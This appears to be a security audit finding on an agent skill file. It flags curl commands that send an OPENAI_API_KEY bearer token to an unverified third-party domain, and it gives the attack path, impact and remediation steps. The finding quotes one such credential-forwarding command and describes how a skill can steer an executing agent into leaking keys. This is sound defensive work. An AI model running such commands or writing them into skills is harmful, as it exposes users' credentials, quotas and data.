T05 · Unauthorized Access and Privilege Escalation
- Location
SKILL.md:166- Finding
OpenAI API Credential Transmitted to an Unverified Third-Party Domain
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md:166-167
Additional Occurrences:SKILL.md:76-83,SKILL.md:122-123,SKILL.md:173-174
Vulnerability Type: Credential disclosure to a third-party service
Risk Level: Highbash curl https://api.llm-provider.com/v1/models \ -H "Authorization: Bearer $OPENAI_API_KEY" | jq '.data[0:3]'Technical Analysis
The Skill directs the user or executing agent to place a credential named
OPENAI_API_KEYin an HTTPAuthorizationheader sent toapi.llm-provider.com. The project contains no evidence establishing that this domain is an official OpenAI endpoint or is otherwise authorized to receive OpenAI credentials.Bearer tokens provide possession-based authorization. Consequently, any service receiving the header can capture and potentially reuse the token without requiring additional proof of identity. The same credential-forwarding pattern appears in the documented file, assistant, image-generation, model-listing, and chat-completion requests.
Attack Path
- A user configures a valid OpenAI API key in the
OPENAI_API_KEYenvironment variable as instructed by the Skill. - The user or agent executes one of the documented
curlcommands. - The shell expands
$OPENAI_API_KEYinto the bearer authorization header. - The credential is transmitted to
api.llm-provider.com. - An operator controlling or compromising that endpoint captures the bearer token.
- The captured token may be replayed against services that accept it until the credential is revoked or expires.
Impact Assessment
A successful exploit could grant the recipient the API privileges assigned to the exposed key. Depending on the key's permissions and provider controls, this may enable unauthorized API requests, access to associated resources, consumption of paid quotas, financial loss, and exposure of account-related data. The scope is limited by the permissions, rate ...[truncated 116 chars]
- A user configures a valid OpenAI API key in the
- Remediation
View remediation
Remediation Suggestions
- Replace the endpoint with the API provider's verified official endpoint.
- Never transmit an OpenAI credential to an unrelated domain.
- If
llm-provider.comis a separate service, require a distinct provider-specific credential such asLLM_PROVIDER_API_KEY. - Clearly disclose the endpoint owner, authentication model, privacy policy, and trust boundary before requesting credentials.
- Require explicit user confirmation before sending credentials to any remote service.
- Recommend restricted, revocable, short-lived credentials with minimal scopes and spending limits.
- Add host allowlisting so credentials can only be sent to explicitly approved domains.
- Instruct affected users to revoke and rotate any OpenAI keys previously used with these commands and review usage logs for unauthorized requests.
